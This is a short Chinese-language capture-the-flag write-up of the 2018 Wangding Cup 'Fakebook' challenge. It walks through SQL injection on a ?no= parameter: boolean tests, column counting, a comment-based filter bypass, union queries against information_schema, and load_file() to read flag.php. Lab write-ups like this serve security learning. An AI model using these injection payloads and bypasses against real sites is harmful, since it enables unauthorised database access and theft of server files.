[网鼎杯 2018]Fakebook
启动靶机,一个登录按钮,一个注册按钮。试了一下万能密码,弱口令没成功。
目录扫描,发现存在可访问的页面/robots.txt,访问发现泄露了页面user.php的备份代码
这里进行了一下任意注册,然后登录
发现地址栏 ?no=1
?no=1 and 1=1 (正常回显)
?no=1 and 1=2 (回显异常) 说明存在sql注入点
如此先确认有多少列数据。 4 显示正常,5 报错。所以数据有4列
查找注入点位时,返回 no hack 说明有过滤
使用/*!secret*/ 或者/**/secret 可以绕过。 ?no=-1 union /*!secret*/ 1,2,3,4
通过version(),database(),user() 函数查看发现。发现当前是root账号,并且数据库为fakebook,数据库是 mariadb 10.2.26 (数据库版本在5.0以上,系统会自带infomation_schema库)
?no=-1 union /*!SELECT*/ 1,table_name,3,4 from information_schema.tables where table_schema=database() 爆出表名users
?no=-1 union /*!SELECT*/ 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' 爆出字段名no,username,passwd,data
?no=-1 union /*!SELECT*/ 1,group_concat(data),3,4 from fakebook.users 想爆出data字段查看来着,但是不知道为啥没有任何返回。按理说应该有数据,不然用户注册时填写的一些年龄、博客地址数据存哪里呢
不知道该怎么办。
看到有师傅说可以扫描到flag.php (我也扫描了咋没扫到呢,why)不管了,有就行
用load_file()函数读取 ?no=-1 union /*!SELECT*/ 1,load_file("/var/www/html/flag.php"),3,4
F12查看代码得到flag